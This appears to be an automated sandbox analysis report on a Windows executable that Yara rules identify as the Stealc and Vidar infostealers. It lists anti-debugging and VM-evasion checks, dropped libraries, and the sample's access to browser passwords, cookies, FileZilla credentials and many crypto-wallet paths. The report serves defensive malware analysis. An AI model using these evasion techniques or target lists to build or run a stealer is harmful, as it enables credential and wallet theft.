Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EDC750 second address: EDC76F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F3A607FD8C8h 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EDC76F second address: EDC77C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jno 00007F3A6094B676h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE1319 second address: EE131F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE14ED second address: EE14F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE15F2 second address: EE15F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE15F6 second address: EE15FA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE2E35 second address: EE2E55 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jmp 00007F3A607FD8C9h 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE2E55 second address: EE2E6F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jno 00007F3A6094B676h 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 jnl 00007F3A6094B676h 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE2E6F second address: EE2E78 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 push edx 0x00000008 pop edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE2E78 second address: EE2E94 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3A6094B688h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E06ACA second address: E06AE9 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jmp 00007F3A607FD8C3h 0x00000008 pop esi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push ebx 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E06F44 second address: E06F48 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E06F48 second address: E06F56 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jnl 00007F3A607FD8B6h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5050A2E second address: 5050A34 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: C619BA instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: C618EC instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: E2373A instructions caused by: Self-modifying code

Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A14910 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00A14910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A0DA80 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	0_2_00A0DA80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A0E430 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	0_2_00A0E430
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A13EA0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	0_2_00A13EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A0F6B0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00A0F6B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A016D0 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00A016D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A0BE70 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	0_2_00A0BE70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A138B0 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcat,lstrlen,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,	0_2_00A138B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A0ED20 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlen,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	0_2_00A0ED20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A14570 GetProcessHeap,RtlAllocateHeap,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlen,lstrlen,	0_2_00A14570
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A0DE10 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00A0DE10

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00A01160 GetSystemInfo,ExitProcess,

0_2_00A01160

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Source: file.exe, file.exe, 00000000.00000002.1903663483.0000000000DDC000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: file.exe, 00000000.00000002.1904101313.0000000001114000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWW
Source: file.exe, 00000000.00000002.1904101313.000000000109E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMwareF
Source: file.exe, 00000000.00000002.1904101313.0000000001114000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: file.exe, 00000000.00000002.1904101313.000000000109E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: file.exe, 00000000.00000002.1904101313.00000000010E3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW(
Source: file.exe, 00000000.00000002.1903663483.0000000000DDC000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,

Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-58438
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-58420
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-58417
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-59607
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-58431
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-58471

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe

Thread information set: HideFromDebugger

Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\Desktop\file.exe	Open window title or class name: regmonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: ollydbg
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: filemonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\Desktop\file.exe	File opened: NTICE
Source: C:\Users\user\Desktop\file.exe	File opened: SICE
Source: C:\Users\user\Desktop\file.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C625FF0 IsDebuggerPresent,??0PrintfTarget@mozilla@@IAE@XZ,?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z,OutputDebugStringA,__acrt_iob_func,_fileno,_dup,_fdopen,__stdio_common_vfprintf,fclose,

0_2_6C625FF0

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00A045C0 VirtualProtect ?,00000004,00000100,00000000

0_2_00A045C0

Source: C:\Users\user\Desktop\file.exe

0_2_00A19860

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00A19750 mov eax, dword ptr fs:[00000030h]

0_2_00A19750

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00A178E0 GetProcessHeap,RtlAllocateHeap,GetComputerNameA,

0_2_00A178E0

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5FB66C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,		0_2_6C5FB66C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5FB1F7 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,		0_2_6C5FB1F7

Source: C:\Users\user\Desktop\file.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: file.exe PID: 7008, type: MEMORYSTR

Searches for specific processes (likely to inject)

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00A19600 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,

0_2_00A19600

Source: file.exe, 00000000.00000002.1903663483.0000000000DDC000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: HProgram Manager
Source: file.exe	Binary or memory string: HProgram Manager

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C5FB341 cpuid

0_2_6C5FB341

Source: C:\Users\user\Desktop\file.exe

Code function: GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,LocalFree,

0_2_00A17B90

Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00A17980 GetProcessHeap,RtlAllocateHeap,GetLocalTime,wsprintfA,

0_2_00A17980

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00A17850 GetProcessHeap,RtlAllocateHeap,GetUserNameA,

0_2_00A17850

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00A17A30 GetProcessHeap,RtlAllocateHeap,GetTimeZoneInformation,wsprintfA,

0_2_00A17A30

Stealing of Sensitive Information

Yara detected Stealc

Source: Yara match	File source: 0.2.file.exe.a00000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.1902925745.0000000000A01000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1703301988.0000000004EC0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1904101313.000000000109E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 7008, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 7008, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: \Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiD
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: \Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiD
Source: file.exe	String found in binary or memory: ge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: \Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiD
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: \Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiD
Source: file.exe	String found in binary or memory: ge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe, 00000000.00000002.1904101313.0000000001114000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Binance\simple-storage.json
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: ge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|
Source: file.exe	String found in binary or memory: inance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger L
Source: file.exe	String found in binary or memory: \Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiD
Source: file.exe	String found in binary or memory: ge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|
Source: file.exe	String found in binary or memory: \Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiD
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe, 00000000.00000002.1904101313.0000000001114000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Ledger Live\.

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\file.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
